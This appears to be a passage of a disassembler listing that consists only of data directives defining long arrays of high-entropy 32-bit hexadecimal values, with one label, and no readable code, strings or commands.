		dd 96B314A0h, 88036B88h, 51C87164h, 7998019h, 7B863183h
		dd 0D4B561Eh, 8F81AA40h, 4C9596F1h, 0D0006AC3h,	52642A71h
		dd 0CA00F861h, 9623DB43h, 0B6101Eh, 42A10F58h, 1277CF74h
		dd 0C90ED3Dh, 5825ABF9h, 3A9E892h, 138DA103h, 0E8903174h
		dd 0DAF0483Fh, 71702100h, 49EA26AFh, 0CAEE00F5h, 85A4B18Eh
		dd 0A900E268h, 0B01846EFh, 0F8D6E9h, 0F36CCBB2h, 0E6FD80C5h
		dd 4C2E39h, 3756A846h, 96BD99h,	598A18Eh, 0C4F17867h, 0B23BD274h
		dd 0C0E300ECh, 858F3BBh, 91160027h, 5BD46902h, 0A400F03Ah
		dd 8D24ABB2h, 86F70h, 35748A9Bh, 0BB1A4E4Bh, 0C44D2600h
		dd 6BCE3CB4h, 2F9802DDh, 7176037Eh, 8755807Dh, 305C7Bh
		dd 0C0FB1BFAh, 0D9EE58CCh, 2FBCE94Bh, 0D06C0E05h, 1970062h
		dd 0A0EFEA8Dh, 873014E8h, 82999226h, 26974CACh,	2181EE00h
		dd 713804A3h, 58B9C8F1h, 0C4BAB700h, 0FFCBB337h, 7094A0A2h
		dd 0EF53004Bh, 2180C728h, 0BA1C2BE8h, 0A40075B9h, 0C6A8E6CDh
		dd 0FF540064h, 0EB6CF53Fh, 9901C4A5h, 0EEB677C3h, 89CCE7F4h
		dd 837A0064h, 103E69C7h, 7300CA79h, 2A193713h, 53FC31h
		dd 7CE6FE8Fh, 0FA9DB85Eh, 87220900h, 1A167B33h,	0D5AD0EFFh
		dd 7EC0B715h, 4D80DF7Dh, 48E00654h, 36F1F400h, 42CF9E7Bh
		dd 0A7EEA9h, 0E358D16Eh, 9B3012F8h, 0DD122BF0h,	0E80081A5h
		dd 0C1D6557Ch, 9BA7545h, 6F9D29DBh, 0D26C005Dh,	0CE59BDh
		dd 5664F720h, 0CBE9AD09h, 37EAB000h, 67C0DF4h, 0F6A4011Bh
		dd 0D5983EB8h, 0BD904126h, 3D6D480h, 72962707h,	0C8E32EF3h
		dd 0FDC7F456h, 1AB46D50h, 68F670h, 67423CD9h, 39059963h
		dd 11CC6500h, 0B9F6BDDDh, 0F8B7B0A6h, 0D628129Bh, 673007C0h
		dd 0EE77E334h, 0BC4E9AC8h, 0C53B0376h, 9964802Fh, 588DB585h
		dd 0C2AD0FF5h, 902ADC28h, 0FBE006A9h, 1031105h,	0BF9CBB1Bh
		dd 0A251E860h, 167EFA59h, 40C71E0Dh, 4B611D28h,	0D0487214h
		dd 0C69B0074h, 0FC5DA4FBh, 0AC50006Fh, 0E4B522ECh, 0F05D87Eh
		dd 24C3917Ah, 97DFA1C0h, 1E410082h, 424B13C0h, 513FF133h
		dd 62D7979Eh, 80277307h, 9A1B8200h, 0E6540057h,	8B488EADh
		dd 3EE2CBF3h, 370E19B8h, 76ACFABAh, 0C70F7900h,	106CD98h
		dd 0B8779BFDh, 0DC2F18B4h, 0DE0A3B5Dh, 0BC298BE4h, 2B8C6E80h
		dd 243DE61Fh, 0CB1D4h, 914A522Fh, 4607D55Ah, 0C78AA9EAh
		dd 10CC0180h, 918013Eh,	70450336h, 2508DCC6h, 2023CE00h
		dd 0F84E39E0h, 0CDC90BC0h, 0C70030B0h, 4F45D12Ch, 35C5E4Ch
		dd 67C55A3Fh, 16808F13h, 41D7428h, 36603C03h, 1918D0D0h
		dd 9D07C26Ah, 0E7DFADB6h, 52E9EAD0h, 8AC3248Bh,	670F41F4h
		dd 0A080CAC4h, 0BF458D0Dh, 68C776B0h, 0EC65E885h, 1C4AB00h
		dd 95FEBh, 2BA60FDAh, 0C84AD950h, 0A0BF3D03h, 0A8688161h
		dd 0BCFFA3h, 16576ABDh,	9072320h, 88C88B00h, 623721B9h
		dd 0C51C0F1Dh, 0A96087F2h, 97EE3628h, 0E8A27301h, 3CBB30C9h
		dd 0A79FE4h, 2F776760h,	0CFDEBCB0h, 8900E37Eh, 0D54709D7h
		dd 0A3252Bh, 2A3E9566h,	81F5A29Ah, 6CEB7C1Eh, 8765EA41h
		dd 0CF40C8B5h, 520AEFh,	30A71069h, 0F2B4BA34h, 918ADD00h
		dd 0C34FA822h, 0B6F400CCh, 0DE749F97h, 0FA00362Eh, 425E9C98h
		dd 7A4022h, 81620D14h, 54296771h, 0D8C07226h, 0BCBF3600h
		dd 3AE147F3h, 23801491h, 0B1023E05h, 4300E7C0h,	0EA689AEEh
		dd 17FA034h, 0F70B6F39h, 0E8D0E54Eh, 3B38298Ah,	4B86012Dh
		dd 0F49D822Fh, 0E86D4460h, 445C8001h, 9943D402h, 0C0045222h
		dd 0B18A7648h, 0AE1F8344h, 39987B82h, 0A8928732h, 0EEF9630Ch
		dd 0DA300Ah, 0F8E0A0AFh, 4D1D21B8h, 7AF4BC00h, 0BD11A3EBh
		dd 3C07005Bh, 7E392DECh, 2000D6FAh, 0C2748E1h, 1DBF31h
		dd 2B5CA086h, 60EA7518h, 2287C400h, 5BF47DB9h, 66316734h
		dd 0CAD2B0F5h, 92071F65h, 21510B5Ah, 0DD01925Eh, 7C3327B8h
		dd 53AA20h, 0B3B250D4h,	3B56BEDDh, 1CE87700h, 925A851h
		dd 0B173ABh, 0F8D9A74Fh, 0EC773894h, 0C92ADD00h, 783CC72h
		dd 0A75100E0h, 22E72B7Eh, 61E2B7B4h, 8858DF00h,	0B97653BCh
		dd 0AAD000A3h, 0FB3A39B1h, 1218254Bh, 94B0FC8Eh, 56A701CDh
		dd 0A22BDBE4h, 79EC700Fh, 2C69C500h, 2653F2C7h,	61A600FAh
		dd 0BADAE85Ch, 7D00D3C2h, 818F32AEh, 0FE4933h, 9F6D036Ah
		dd 0EED0B0C0h, 0C2BCFB30h, 79E9B7h, 851C145Dh, 0ACAA6E48h
		dd 5BF5639h, 37CFFF75h,	50AB80FFh, 0B00580Eh, 0C7E8B0D3h
		dd 165DC32h, 8A187962h,	0D27A1DBCh, 1602F85Dh, 0D07F21h
		dd 2E89F388h, 4E07F23Eh, 0FC19B428h, 0AEB60A40h, 0A27E00E6h
		dd 0CACCDC26h, 0EDB86C0Fh, 55ECF37Eh, 0EC74DFEAh, 721A9207h
		dd 0C800895h, 458502h, 1FF2A254h, 23EC6A3Ch, 47377B00h
		dd 0ED87AF72h, 0B2C30FCDh, 0C8600332h, 0E128C944h, 7C319D12h
		dd 5DF80800h, 0DD4094h,	6CBA0C2Dh, 0F1904F77h, 0B7B0700h
		dd 61953DB1h, 47541C8Ch, 81BA0099h, 43BF6EEDh, 0A2773214h
		dd 9858A0h, 7CF69555h, 31B804Fh, 6BCF2E0Ch, 79B1D46Eh
		dd 54D3C0C2h, 9D65920Bh, 1D9BF68Bh, 0DF74C0B7h,	0FBA0B6BEh
		dd 0F0950200h, 9E660C1Eh, 230D0FA3h, 4D607D46h,	0E0495617h
		dd 7EC4E100h, 7AB20521h, 0D5C92ECFh, 86410055h,	0B692BE25h
		dd 939864FEh, 22DA910Eh, 84C0CA70h, 2D149F07h, 57AD48A1h
		dd 76FD1CF4h, 0B38500DBh, 0E4CC61Eh, 0E7001F5Ch, 0DC69F5A9h
		dd 0E28B3C93h, 0E34B00BCh, 7D1E203h, 0FC0486DBh, 3C51E16Dh
		dd 25008E09h, 193EEE21h, 13D71701h, 0A0E41129h,	0C4F0A1C1h
		dd 0A56D006Ah, 0FA6450C6h, 3100C14Bh, 29EFA09Fh, 0A0C5B2DAh
		dd 4561A4h, 261BA7F3h, 0F6C252FFh, 0C0002372h, 0EA3D3764h
		dd 4A5F27h
		dd 10179B03h, 0B48D2A6Eh, 85EC8800h, 488B360Eh,	1569002Ch
		dd 831FDC77h, 401CC20Fh, 6E403EB4h, 412F02F8h, 0C16901E7h
		dd 6888ECB0h, 0F464FDDDh, 6100B65Ah, 31C3741Ch,	0F899E6Eh
		dd 3A58C763h, 0A381C240h, 8700F078h, 0C3A0ECA8h, 0A5691B8h
		dd 0C8016568h, 193B00B4h, 0D0A14CACh, 8067CA3Eh, 2A257CA3h
		dd 1F6B5AB8h, 39343515h, 4508F301h, 0D86D9598h,	0AE0085E7h
		dd 0E59ED369h, 44D2742h, 98254587h, 264A023Fh, 0DF0014F0h
		dd 7C3C0CB0h, 0FA7AB8h,	0EA12404Ah, 30255646h, 6C773709h
		dd 57C803Ch, 1C7ABCh, 21CD26D0h, 8923B66Eh, 9F087C00h
		dd 0B8A28C5Fh, 53B0003Fh, 0EC82C771h, 0BA0B48CBh, 7D8F0C03h
		dd 61FB2900h, 101E3DA4h, 91B04FADh, 7B3FD29Dh, 0D3EF0F06h
		dd 386031C5h, 33FD3D81h, 196B2602h, 802C1293h, 8CEAB5F8h
		dd 783B00DEh, 0D4CCF403h, 0B600AB3Eh, 17E970E8h, 1DA39677h
		dd 2CAC9F42h, 0B32B005Bh, 305F7102h, 4C7D401h, 0E5119D3Eh
		dd 0C9AFECh, 0F239B28Dh, 9E57773Ah, 0DBBEB50Eh,	0B091A358h
		dd 8AAFB8F1h, 1F03F8EBh, 47CCE846h, 614386F8h, 0F482F56Ch
		dd 913B7669h, 8B4C09D6h, 0A1C081A4h, 94DC211Ch,	10050813h
		dd 0BC70D2h, 2857D712h,	5CD381h, 0B490A8E4h, 0A7E14E1Dh
		dd 92508B17h, 1CD0CF00h, 3AB6C25Ch, 1A0070FEh, 0DCE7D63Ah
		dd 5205796Ah, 0AF15D84h, 0B0A0F487h, 5A30BB5h, 0B76BD96Dh
		dd 0C918C0CCh, 50128F5Dh, 5EEAE59h, 0E08942Ah, 0B8C0FEECh
		dd 975B0F2Fh, 0C97DDC00h, 158AE64Bh, 0B2300CCh,	32CE2444h
		dd 1800268Ch, 530E73C0h, 0D8AA96h, 41ED5210h, 2D4A890Ch
		dd 0C108C81Dh, 71B0DD40h, 1DCBA5Bh, 127C52EFh, 64F71F4Eh
		dd 1007A440h, 2D3C71B7h, 0AF946D20h, 0DBC30027h, 0D9D698A0h
		dd 370C3D02h, 0A8302C67h, 69BD2475h, 0ACCE8F40h, 3974B1A0h
		dd 7D00EE82h, 0CDF27154h, 0EFD28F7h, 70431395h,	0FEECF380h
		dd 8900B7CAh, 8D8EBF0Dh, 1FDA3079h, 7D1E4FC8h, 0E8F82C00h
		dd 0FE48BDF7h, 45C7E501h, 0DE583E4Ah, 723A5D8h,	6AE83794h
		dd 1579E310h, 21BBC580h, 0BE47880Eh, 8D1419Fh, 32F82522h
		dd 0E6FC003Ch, 0A86D7CC9h, 292D19A4h, 1C05D4F8h, 0BC414F10h
		dd 2C6A9920h, 0D01CA740h, 3880F9E7h, 5C781EBBh,	0F8CB0001h
		dd 0B717E69Fh, 67037B54h, 4BC6B44Ah, 465AA00Ah,	55F8007Fh
		dd 0D024FEFFh, 477D10Bh, 0A07C0600h, 9ED1EE8h, 2CC2019Bh
		dd 0CD286F98h, 4E01D012h, 0E29ADD00h, 0A4152AFh, 0FC9F00D4h
		dd 0C142E81Eh, 29005EF5h, 220B99CCh, 0C07BA9BBh, 198F4150h
		dd 0A2004991h, 510F3021h, 773433BCh, 0C6ED1B63h, 1DC0286Eh
		dd 0D57AA560h, 89176905h, 0AB00968Dh, 80BE8A40h, 299500B2h
		dd 8F88EDF1h, 9A00784Fh, 0DEA19D69h, 38AC1AE7h,	9581F88Bh
		dd 0BC504366h, 0D1FEFC34h, 291F370Fh, 8A6C4036h, 3027AA7h
		dd 0FA5C7B14h, 0D0FFBE53h, 0FBF17C17h, 392F8B00h, 0A98533C5h
		dd 494B023Bh, 2A3DEC2Bh, 3F4816E0h, 55E6681Fh, 69DC1801h
		dd 10806B6Dh, 0C5AF59D0h, 9A76ED41h, 0C887DF00h, 82777015h
		dd 0B862F8F7h, 3D477AF6h, 0B28FF0A8h, 88C0CDBCh, 64C53FCh
		dd 73E70E00h, 0DD34C4A7h, 3061001Dh, 0C76F8D02h, 660197A9h
		dd 7AE8FEBEh, 0FDD827A0h, 7A25902Eh, 0F1DB0336h, 0A5E760CEh
		dd 8BDD8609h, 0C159005Ch, 70570E2h, 16FE5D8Eh, 6F763089h
		dd 0DB0125B8h, 670D4B3Ch, 9FEB99C4h, 0AC34F5B0h, 9907610h
		dd 8F9D1E18h, 924B6682h, 0CC49880h, 3500AF20h, 0CD68B48Ch
		dd 0B1C6357h, 4B23FAB1h, 834D8900h, 46001314h, 5E3ED97Bh
		dd 4F783Ch, 67E8F3F0h, 48C87309h, 5A61B000h, 94BDFA9Bh
		dd 587500EDh, 2EAB7B3Bh, 0C0086C5h, 731E7C50h, 12DFA1ECh
		dd 2057FAF5h, 495E866Ch, 2504027Bh, 3814CBA9h, 0B0E2AC80h
		dd 1D360031h, 97F05029h, 2890C347h, 8148A603h, 0D82C8D78h
		dd 8441E6h, 6DE4C501h, 58F762E8h, 0AB1B0400h, 0D1EAA289h
		dd 0D260007Fh, 204022C6h, 5F0992CEh, 0D6A99Bh, 0DD310880h
		dd 0BCB63F27h, 55233700h, 0A2FD7C90h, 5006D400h, 0E3A5186Eh
		dd 0FF02001Fh, 0DF289F3Dh, 0D707FDD6h, 659DADA7h, 52E75560h
		dd 0F8970346h, 0E00942FBh, 9EF70298h, 0E6735E00h, 1F0E516Fh
		dd 0A06803D2h, 5C8074DEh, 4095A6E8h, 0C0FE23F2h, 2BCD4E00h
		dd 0D2CA546Ch, 0B65F077Dh, 0CA46FC9Ch, 790580C4h, 0FFF58D36h
		dd 77447000h, 0E5BCE3DDh, 4C250E82h, 3D807BEFh,	0B511EB2h
		dd 0EB03147Eh, 1A34AE2Eh, 4E8CB8B0h, 5DD530A6h,	65D6BFB8h
		dd 0C2EC6402h, 407D44B9h, 0FCEEDEE8h, 3BE1FF7h,	0E1AD8078h
		dd 0BD79E084h, 2980B54h, 70604C33h, 4DB390DFh, 0D51F00F0h
		dd 3E28D180h, 0B5005E61h, 363C9C10h, 0FC8A661Ah, 5D331D81h
		dd 0B84540C4h, 0C6EE6D24h, 86BEBD00h, 10FF9CD2h, 43F485Dh
		dd 604C2A2Bh, 10572A4Fh, 1E117600h, 293DEBE1h, 96490C7h
		dd 7BCA7F7Eh, 90E43C80h, 85048AA9h, 383308D7h, 0E80F30C0h
		dd 4A050056h, 0EF0D7FEEh, 26001753h, 2152F1E1h,	0EA6EFDAEh
		dd 13F80948h, 0F40079A9h, 0D304A5BEh, 4F808100h, 6A642F45h
		dd 0D0343DB1h, 9CBC4B00h, 8019F2BEh, 5378E200h,	0C9CA8779h
		dd 785B601Ah, 0F560C8E8h, 3E94C503h, 0A6225EFEh, 826440F0h
		dd 44E63A01h, 0DFBBB731h, 0E692B70h, 3EC133A2h,	0C9999F20h
		dd 0A500A056h, 0AA26EC37h, 3B1DA98h, 73C4F27Fh,	4CC8BB34h
		dd 5500242Bh, 0F682D4F0h, 142567Eh, 0D75B0E85h,	0C072C0D8h
		dd 0B477963Dh, 0D3741F0Bh, 0E39B809Ah, 3BE0B566h, 0A5803FE6h
		dd 0D5EF8512h, 5A004156h, 0AF480735h, 0E6601Fh,	8F83BD6Bh
		dd 37BF2A62h, 54913A00h, 0D861248Eh, 6941FA0h, 954000F0h
		dd 6C315230h, 95FE718h,	73CFD0h, 5AFAF6D8h, 88404FA6h
		dd 4CBE60BFh, 0A230F90Eh, 49AF0EDh, 0ABEAC751h,	0E4FFC08Ah
		dd 0E90149D6h, 0A80785B4h, 99E8FF86h, 0E37003AFh, 0AE73961Bh
		dd 971311D0h, 0A7F70600h, 0F68AEAC8h, 521A0012h, 0ECEFC18Eh
		dd 590326CFh, 33363EDBh, 953D86Eh, 275F00FAh, 0FEC06893h
		dd 0CD00943Dh, 4A102D03h, 0E3204Bh, 0B9B26B99h,	9D31D1Eh
		dd 531403EAh, 84432Fh, 38C4579Ch, 9033E1h, 16CF3261h, 9B3A493Fh
		dd 0F60627EAh, 56C4DDECh, 0D8060094h, 29C7A2FEh, 46304068h
		dd 0CCDA485Ch, 5FBA003Ah, 7320DC3Fh, 60009502h,	625D4BB4h
		dd 30B22BE9h, 0F8C0DAD2h, 99B85418h, 0A50383F6h, 4615776Bh
		dd 0A04DA8C5h, 0AA29C0D8h, 624E389Bh, 17F03FF6h, 0A400F698h
		dd 0DA39255Bh, 0F6BCA46h, 3B4869AFh, 53EE7080h,	0E51E0D21h
		dd 90E87825h, 0D2A2CA00h, 8242AE8Dh, 0FCA80346h, 2B8C37CFh
		dd 0A6C2EBB8h, 14FB880Eh, 3D078412h, 969EF6C0h,	3E86E644h
		dd 1800F287h, 8F592A1h,	2029A5Ah, 55C9FCB3h, 3BD3408Ch
		dd 0F42500EFh, 0D24160EBh, 0DA172DB4h, 0DA00E4B9h, 23F7D07Dh
		dd 0A3740Bh, 0F6A9465Eh, 3FA8CC0Dh, 80FFF839h, 17D2D1FDh
		dd 3C76264h, 0E229E411h, 71AF09B5h, 0E049D0F6h,	79006DA4h
		dd 0CE915DBh, 70832ACDh, 761A00F5h, 0F3888465h,	7E715157h
		dd 0FCC99B00h, 0E611076Dh, 752A005Bh, 0FB3C387Ah, 0D700A540h
		dd 15CD8FB7h, 76C1482h,	93A406A0h, 0E75C60DBh, 6A0087B1h
		dd 0B4330BFFh, 0CD6138h, 78BA8F3Ah, 0B6F5276Fh,	2BA4B300h
		dd 9026CC9h, 0A8AB0045h, 0F4408B83h, 0B01F223h,	0DB89EFAFh
		dd 0E130B086h
dword_4D02F8	dd 3EE23A99h, 77117C80h, 9F9180F8h, 0DCC8CD00h,	0C3D5B266h
		dd 247CE46Dh, 80784A30h, 0E981AFF9h, 62003A57h,	0C45B8B1Fh
		dd 4148EAh, 0BAC1C0C2h,	826011C6h, 6D014890h, 9594E0FAh
		dd 7C201F58h, 81C2CC27h, 39011251h, 69A4F88Dh, 3C302DB2h
		dd 7F75001Dh, 5165FFFCh, 0C4008CECh, 6DD63AA0h,	613615h
		dd 0FF236031h, 1384276Bh, 0D5C93300h, 0A0ABCDA7h, 0B171033Bh
		dd 522B80F1h, 69423100h, 0CFBCBE56h, 2CEC0E88h,	0D0E34798h
		dd 4000F7A1h, 3FA560D2h, 902E1C95h, 4D46C8h, 26761FB8h
		dd 7C7387DAh, 2E4929Ah,	90E72091h, 0BCE10CAEh, 41E98207h
		dd 4008BF05h, 2D07B7Ch,	0B465B47h, 6460FC75h, 230CD62Eh
		dd 80C27286h, 0E038EE80h, 4C492CA1h, 524E1345h,	546A000Ch
		dd 0D6B22C55h, 290060E4h, 20F5438Eh, 0F445DDh, 3EADF2DAh
		dd 5E628BFAh, 0D6923100h, 0E94686FCh, 0DCEA1D01h, 2950B0D3h
		dd 1818FACDh, 0F9A81DCBh, 0E69000A8h, 0EC4CE7DFh, 123C924Fh
		dd 32D980EDh, 4B8B7498h, 1B0E8BDh, 446BC645h, 40DF0A83h
		dd 765A21E0h, 209CD900h, 8743E2C5h, 9ED70006h, 8AED17D3h
		dd 5B1993DBh, 2CB8B172h, 1998B430h, 0F8F3E67Ch,	0FB30603Eh
		dd 0F80E32ECh, 9E52FA8Ch, 2EC74300h, 5882C5h, 0E66CA888h
		dd 13809EB8h, 0CA117700h, 4A67A357h, 5972009Bh,	613165A5h
		dd 0CD00F43Ah, 39AD34DFh, 8C1D0Eh, 889C5482h, 48B3600Ch
		dd 7F7B84A0h, 91F0D407h, 43B0AA63h, 0F8AB3AB9h,	0FCD907B5h
		dd 0C0716435h, 93745C86h, 1F90B40Ch, 0BAF6ACh, 80F3E423h
		dd 0D58FA870h, 0AC74C039h, 8D043CEFh, 9F40B802h, 13EADEA1h
		dd 1CE9E00h, 854B15C8h,	977700DFh, 0E924CB4Eh, 527986BCh
		dd 0E8A5A126h, 3103F839h, 86D87F3h, 98660F2Fh, 63C00F3Fh
		dd 5228AD18h, 98599A24h, 84002E16h, 7306DD4Ah, 5EE60ECBh
		dd 49659821h, 83DC5CD3h, 20A12AA7h, 0AFED1800h,	0CDAB90D2h
		dd 0BDEF0091h, 0E7C8E3BFh, 9C078482h, 0C139562Bh, 0B09AD260h
		dd 24C37136h, 483520h, 7A777CA9h, 0F4FCB582h, 3065F113h
		dd 14F63802h, 988BA0FEh, 0FB68696h, 3B62B364h, 72B508E0h
		dd 0C1145257h, 1A5DEF4h, 0FCC527AFh, 0CBCCFE2Fh, 17E7052Dh
		dd 0D118075Fh, 0E39E2BBBh, 1E84E800h, 5E7C25C8h, 0A091242Dh
		dd 0D7E1001Dh, 52C64648h, 57E74700h, 8E36EF24h,	0C2C9001Ah
		dd 73CA9A0Ah, 9E00879Fh, 888317EAh, 4C0B1Bh, 74443678h
		dd 7A25CF56h, 0BE00C8E6h, 0FD2F0353h, 0FB25DFCh, 17EFC94Dh
		dd 3D941861h, 0A8BC40FBh, 37C6541h, 0D20D681Ch,	814D6900h
		dd 0B2E6BCh, 601CE912h,	26D588BDh, 74CF8607h, 3A80FB2Dh
		dd 0D9C897h, 0F71CF637h, 5B6E20D8h, 7A815E00h, 1565E202h
		dd 377F00C9h, 0E3C327B2h, 0B009F83h, 298EA49h, 53091Eh
		dd 0D37768EEh, 0EF7CBEB1h, 651B2300h, 0D729238h, 1FE33942h
		dd 0F3BDA201h, 60462C81h, 5B0071B9h, 5ACC6867h,	0AE858Bh
		dd 7E2664C9h, 8FA69FDAh, 35CDEE00h, 0C1911ED1h,	0A9B1005Bh
		dd 5C83FAB5h, 0E609C06Ch, 80986F66h, 0B89DF0D6h, 0BCDC5BB2h
		dd 909E003Bh, 0F35E1217h, 0D4E618h, 0F90FCC40h,	0C70EBCEEh
		dd 0E023AE07h, 0BA60772Bh, 71E3302h, 89F007A5h,	0B7E4C0ACh
		dd 87E6F663h, 5E20BC60h, 8AD8E5h, 0D62FAB18h, 91E4F827h
		dd 6BDCC300h, 3FAA3D6Eh, 47060760h, 60258EE9h, 4E5010F5h
		dd 3640BB00h, 1329B052h, 0F26200E5h, 11677612h,	6E037786h
		dd 7FB6C67Bh, 8A63F8A3h, 0D878009Bh, 0B44D9DF1h, 0F0079C9h
		dd 95C1E2A4h, 77E307ACh, 998700D2h, 211B9BE8h, 751DC88Dh
		dd 0ED002B0Ah, 6A2C5490h, 9618C029h, 0BB09B8B7h, 310BE500h
		dd 0A01D3BE7h, 7945046Ch, 0C0323058h, 0D6AF1009h, 0C1DE7703h
		dd 90AC6A59h, 56CB48h, 0CD8DE617h, 66A528D7h, 0BCE44701h
		dd 29E30E5Eh, 310CC4h, 9826B755h, 0AC65B828h, 0C141C500h
		dd 6F8A3FDCh, 0D89D00A9h, 0EC68A78Bh, 1C075125h, 5D811FA1h
		dd 2C2ACA91h, 3341DC4h,	0A4A8DADDh, 1A98E558h, 1E00FA8Dh
		dd 0D3725261h, 146E995h, 10B4FCD0h, 0ECA66EB2h,	5300917Dh
		dd 18FD3979h, 3F749CF7h, 702A35D4h, 66FC00A4h, 23504C71h
		dd 75073A9Ah, 0EFBA93F2h, 7F2EC2D0h, 67A70165h,	180937E0h
		dd 0A1ED8F9h, 802A913Eh, 60959BF5h, 6622E2h, 8B56D66Eh
		dd 0BEA7F17Fh, 4AAA8000h, 5DB4916Fh, 0A3A01FB8h, 8DA840E2h
		dd 7BBACD14h, 77967A00h, 766E488h, 78FD6FFCh, 97038C80h
		dd 0D707A6EAh, 0D8B1DA96h, 8FF4876Bh, 385B071h,	67FDA087h
		dd 87393CD2h, 6E48BE07h, 5A474E88h, 41184906h, 0EEA3E389h
		dd 9F01174h, 0A4F3D60Fh, 1E2F80C4h, 0CB7EE565h,	9A87A621h
		dd 69E826FDh, 35401D08h, 6A003C46h, 57FA6F0h, 0ED76C304h
		dd 443D20C8h, 6BCC0368h, 8747E2A2h, 0C1F1600Ch,	0A8835687h
		dd 0CB78C928h, 8958AFE0h, 3AF1461Fh, 0A4C4DF5Ch, 9B8026C3h
		dd 71822D05h, 0B3C3C8Bh, 919D4E89h, 0A2ED0780h,	0CE00306Ah
		dd 35380FE9h, 1D73011Ch, 0C0B691AFh, 85EE1FD8h,	0D000085Bh
		dd 0A3B4BD0Eh, 554CD5h,	0D6B94FAh, 917AF571h, 0BBB64A0Fh
		dd 0ADFF4015h, 14F699D3h, 0E0E95F2Bh, 0BF30B000h, 1F52BC64h
		dd 9B07547Bh, 0BB044F27h, 15084EA3h, 0A846609Eh, 0BF07C73Bh
		dd 0C08F4750h, 0C506E928h, 36E2A805h, 0D840FADAh, 6BA91B0Eh
		dd 48B60688h, 806B1C6h,	0F0211660h, 0BBA990h, 13C35E5Ch
		dd 0BA24C745h, 687C58C0h, 142EFD31h, 0D48ACBCDh, 3A6FDC80h
		dd 69068F19h, 816746DDh, 21F86008h, 1A3A7729h, 0FC44910Ch
		dd 1A4798B2h, 58AF50C7h, 5E2CD428h, 0A400E046h,	66752D80h
		dd 8C0C9E20h, 20BFAE3Bh, 6A7BFCh, 3D76EE68h, 0D1BBE480h
		dd 6CA96E01h, 0C38EEDB6h, 3F2996h, 0E1847270h, 64170280h
		dd 7A059C92h, 0A43EE80Ch, 813E0C23h, 448F404Ah,	4883D1B8h
		dd 0B227D793h, 2FF0F860h, 0C0BBBF77h, 210D9110h, 6F00ED96h
		dd 0FF9BC707h, 0B86FC40h, 5B99E62Ah, 0B442688Fh, 0CCE0267Eh
		dd 20031EF8h, 520DFA69h, 0DB94B846h, 0A006005Ch, 0BF7E96F1h
		dd 78002C7Fh, 0A548FFA8h, 1E32FA87h, 0C0BDB004h, 0F85890AEh
		dd 0CF8867Ch, 8D13811Dh, 93951030h, 619CF79h, 7EA84521h
		dd 1130835Dh, 0FE18E24h, 82C87170h, 88118B8h, 7341FF60h
		dd 0C0980670h, 4587A618h, 8060CAC8h, 0D1C50510h, 23700E9h
		dd 9DD6BB10h, 0C1003C63h, 89CAAAE5h, 1C6414D7h,	806C5476h
		dd 0BFE1A33Ah, 1A0F3CD6h, 20B13430h, 372F0ABBh,	80F00367h
		dd 0AB76CE87h, 0B506188h, 40094EEh, 18894B20h, 3B79DD24h
		dd 0AE006A9Bh, 5D575F80h, 1C00D0C8h, 0F7BAFCC2h, 730AEBh
		dd 0ED84D59Ah, 1D35B8AFh, 34519C00h, 6EF7CCACh,	0E13F0077h
		dd 34CF9DDh, 0E60018D5h, 51D7CE62h, 1D18AA4h, 0B301A96Ah
		dd 20766CA8h, 5A0080CFh, 0BEF67A32h, 5F7213h, 0C20BD333h
		dd 905EE78Fh, 594C44EEh, 83E0047h, 416E91AEh, 0F0D57B21h
		dd 0ED9000CEh, 6C4F401h, 267D79C7h, 8FA90B00h, 437E4845h
		dd 1E0A074Ah, 0D0B14C47h, 53BA92EDh, 0A4FB3C00h, 15B0DDCBh
		dd 208F4C65h, 12E76700h, 0CDF034A7h, 192EF500h,	4DCBEA51h
		dd 655B003Eh, 544F8106h, 0A8005644h, 6BD027F5h,	0B0E6A12Eh
		dd 0C16F0126h, 0FAC33173h, 9529E09Eh, 847CF500h, 7865AB16h
		dd 7DA3001Eh, 0AC1F44DBh, 800026EAh, 0AD2FD882h, 6B3077Ch
		dd 457832B6h, 0B4229A1h
		dd 11E1CE11h, 2711B48Bh, 0C4C73E07h, 9FE54408h,	4444B544h
		dd 28A05304h, 0C389E0DEh, 0BA941441h, 11B4CF11h, 5713E24Ah
		dd 0B8915CD4h, 11973B11h, 5B21C98Ch, 91BCE708h,	64930037h
		dd 2943145Bh, 0CAFD00F9h, 92D115B6h, 900B732h, 30FC42A7h
		dd 0E8CF4D95h, 26BE000Ah, 0B90CADA2h, 45C9AEAh,	0C17E005Ah
		dd 95F834D8h, 912C00BDh, 9A962DBBh, 3F003EE7h, 720B0431h
		dd 0A3DB77h, 8909A697h,	0F8AAA935h, 0F2DC8800h,	489132BAh
		dd 0D1E30F1Bh, 0D3133Bh, 5EB5049Ah, 0A70FDA66h,	0F4C89Ch
		dd 0F99A6D86h, 7F720002h, 0F065A8F6h, 9603B0D0h, 2D135615h
		dd 93600E8Fh, 24A4553Fh, 21E00BFh, 3E451D19h, 0C0735418h
		dd 0FB166019h, 7BF01373h, 0FEA6DA00h, 0DF6F55E6h, 0C4A806E7h
		dd 381A37C6h, 82A21601h, 0BACC73DCh, 3E1791E4h,	69804893h
		dd 7D8B618Ch, 9B6B7BC4h, 6CDD01C8h, 6E0FF0h, 5AC38386h
		dd 0DA003A45h, 0FCF48DA3h, 708056C5h, 0C78200BEh, 0BCDFD35Eh
		dd 1907B30Fh, 798EECC1h, 674F6BD0h, 0FBDC0045h,	24E3488h
		dd 9005FC5h, 0FF55ED50h, 0C3FCB7h, 0D4E9A676h, 49B10753h
		dd 6C03ADE0h, 789535CCh, 0C0280354h, 0D24ADC76h, 7A801C3h
		dd 0A3FAA4A6h, 0B4A98A00h, 0BD33C9F9h, 0BB6306D3h, 31EA2266h
		dd 200313E4h, 0B7A89008h, 0A634E082h, 96400B8h,	8ADD5048h
		dd 7101C47Ch, 0B66243E3h, 0E8C0F051h, 57D01CBh,	157FDBD2h
		dd 702ED484h, 11DF4D00h, 0E53930EFh, 8D8B03B8h,	62BDB981h
		dd 0D97FEE98h, 0F6987200h, 88BCA308h, 1E09023h,	0F597C657h
		dd 0E0D5229Bh, 1D00743Fh, 8BC8487Ch, 0FA19A741h, 0F040A79h
		dd 0D7AE53h, 0E7917CB8h, 0E5751546h, 80BBCF00h,	0B679E6C5h
		dd 356A0069h, 6841CBF7h, 430EB886h, 0C00D9FD6h,	36FE1F65h
		dd 0CDA0009Dh, 12B97C1Ah, 8C48ECD8h, 0D1D50034h, 0AD6D1F7Bh
		dd 85881F65h, 0CB910753h, 34E81327h, 5A9E3000h,	2CB674D7h
		dd 90631CDAh, 0F3158007h, 489DE9A0h, 8AF71700h,	0FC8E3ECCh
		dd 45B1388Fh, 3D00FFBDh, 83EE729Ah, 0EF90FA27h,	42E76F09h
